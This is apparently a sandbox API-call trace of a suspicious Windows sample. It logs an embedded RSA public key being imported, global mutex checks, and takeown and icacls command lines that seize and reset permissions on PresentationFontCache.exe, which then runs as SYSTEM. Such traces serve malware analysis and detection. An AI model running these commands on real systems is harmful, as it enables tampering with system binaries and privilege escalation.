pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xdd7e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xdd7e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0254.924] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdd7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0254.927] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdd7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xdd80c8, pcbStructInfo=0x18fd24 | out: pvStructInfo=0xdd80c8, pcbStructInfo=0x18fd24) returned 1 [0254.928] CryptImportPublicKeyInfo (in: hCryptProv=0x5e2330, dwCertEncodingType=0x10001, pInfo=0xdd80c8*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xdd80f8*, PublicKey.cbData=0x20e, PublicKey.pbData=0xdd8100*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5e6430) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd80c8) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd7e80) returned 1 [0254.929] ReleaseMutex (hMutex=0xc4) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd5058 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc988 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc988) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd5058 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc988 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc988) returned 1 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc988 [0254.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc988, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce2f0 [0254.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc988, cbMultiByte=9, lpWideCharStr=0xdce2f0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0254.929] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce378 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce2f0) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce378) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc988) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.929] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.930] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.930] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.930] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.930] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0254.930] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 1039 os_tid = 0x30c Thread: id = 1040 os_tid = 0x4c0 Thread: id = 1041 os_tid = 0x31c Thread: id = 1042 os_tid = 0x310 [0254.981] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x5e82d8 [0254.981] SetServiceStatus (hServiceStatus=0x5e82d8, lpServiceStatus=0x159ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0254.990] GetCommandLineW () returned="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"" [0254.991] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", pNumArgs=0x159ff38 | out: pNumArgs=0x159ff38) returned 0x5eb7a8*="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x100) returned 0xdd7e80 [0254.991] LocalFree (hMem=0x5eb7a8) returned 0x0 [0254.991] Wow64DisableWow64FsRedirection (in: OldValue=0x159ff34 | out: OldValue=0x159ff34*=0x0) returned 1 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x800) returned 0xdd7f88 [0254.991] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdd7f88, nSize=0x200 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe")) returned 0x49 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce378 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce2f0 [0254.991] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce378) returned 1 [0254.991] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce2f0) returned 1 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5c) returned 0xdcdf20 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce2f0 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce378 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce400 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce488 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce510 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce598 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce620 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce6a8 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce730 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce7b8 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce840 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce8c8 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x100) returned 0xdd8790 [0254.991] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xdd8790, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0254.991] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8790) returned 1 [0254.991] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce8c8) returned 1 [0254.991] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce8c8 [0254.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xdcc310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.992] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.992] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce8c8) returned 1 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc988 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc9d0 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca18 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5000) returned 0xdd2850 [0254.992] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0254.992] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0254.992] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0255.025] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0255.025] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5dd108, lpbSaclPresent=0x159fd68, pSacl=0x159fdbc, lpbSaclDefaulted=0x159fd68 | out: lpbSaclPresent=0x159fd68, pSacl=0x159fdbc, lpbSaclDefaulted=0x159fd68) returned 1 [0255.025] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.025] CreateEventA (lpEventAttributes=0x159fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x134 [0255.026] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.026] GetLastError () returned 0x0 [0255.026] LocalFree (hMem=0x5dd108) returned 0x0 [0255.026] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.026] CryptAcquireContextW (in: phProv=0x159fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x159fda0*=0x5eb7a8) returned 1 [0255.027] CryptCreateHash (in: hProv=0x5eb7a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x159fda0 | out: phHash=0x159fda0) returned 1 [0255.027] CryptHashData (hHash=0x5e3aa8, pbData=0xdcc2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0255.027] CryptGetHashParam (in: hHash=0x5e3aa8, dwParam=0x4, pbData=0x159fda4, pdwDataLen=0x159fdb0, dwFlags=0x0 | out: pbData=0x159fda4, pdwDataLen=0x159fdb0) returned 1 [0255.027] CryptGetHashParam (in: hHash=0x5e3aa8, dwParam=0x2, pbData=0xdcca60, pdwDataLen=0x159fda4, dwFlags=0x0 | out: pbData=0xdcca60, pdwDataLen=0x159fda4) returned 1 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccaa8 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x184) returned 0xdd8790 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccaf0 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccb38 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccb80 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccbc8 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccc10 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccc58 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8938 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8980 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd89c8 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8a10 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8a58 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8aa0 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8ae8 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8b30 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8b78 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8bc0 [0255.027] CryptDestroyHash (hHash=0x5e3aa8) returned 1 [0255.027] CryptReleaseContext (hProv=0x5eb7a8, dwFlags=0x0) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c08 [0255.027] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.027] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c08) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdccaa8) returned 1 [0255.027] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdccaa8 [0255.028] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x138 [0255.028] GetLastError () returned 0x0 [0255.028] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.028] CryptAcquireContextW (in: phProv=0x159fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x159fda0*=0x5eb7a8) returned 1 [0255.028] CryptCreateHash (in: hProv=0x5eb7a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x159fda0 | out: phHash=0x159fda0) returned 1 [0255.028] CryptHashData (hHash=0x5e3aa8, pbData=0xdcc2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0255.028] CryptGetHashParam (in: hHash=0x5e3aa8, dwParam=0x4, pbData=0x159fda4, pdwDataLen=0x159fdb0, dwFlags=0x0 | out: pbData=0x159fda4, pdwDataLen=0x159fdb0) returned 1 [0255.028] CryptGetHashParam (in: hHash=0x5e3aa8, dwParam=0x2, pbData=0xdcca60, pdwDataLen=0x159fda4, dwFlags=0x0 | out: pbData=0xdcca60, pdwDataLen=0x159fda4) returned 1 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c08 [0255.029] CryptDestroyHash (hHash=0x5e3aa8) returned 1 [0255.029] CryptReleaseContext (hProv=0x5eb7a8, dwFlags=0x0) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c50 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcca60 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcca60) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c50) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c08) returned 1 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c08 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c50 [0255.029] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c50) returned 1 [0255.029] GetLastError () returned 0x5 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c50 [0255.029] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c50) returned 1 [0255.029] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdd8c50 [0255.029] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0255.029] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd8c50) returned 1 [0255.029] SetEvent (hEvent=0x138) returned 1 [0255.029] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) Process: id = "92" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6993b000" os_pid = "0x4ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1043 os_tid = 0x4a4 Thread: id = 1046 os_tid = 0x2b4 Process: id = "93" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x69c25000" os_pid = "0x28c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1044 os_tid = 0x600 Thread: id = 1045 os_tid = 0x1f0 Process: id = "94" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x68640000" os_pid = "0x65c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1047 os_tid = 0xe8 Process: id = "95" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x69b2b000" os_pid = "0x79c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1048 os_tid = 0x154 Thread: id = 1049 os_tid = 0x650 Process: id = "96" image_name = "presentationfontcache.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe" page_root = "0x6aaf7000" os_pid = "0x140" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\FontCache3.0.0.0" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002fc5c" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1050 os_tid = 0x724 [0255.474] GetCommandLineW () returned="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0255.474] GetStockObject (i=168) returned 0x0 [0255.474] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] GetAsyncKeyState (vKey=58) returned 0 [0255.475] GetKBCodePage () returned 0x1b5 [0255.475] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.475] GetFocus () returned 0x0 [0255.475] 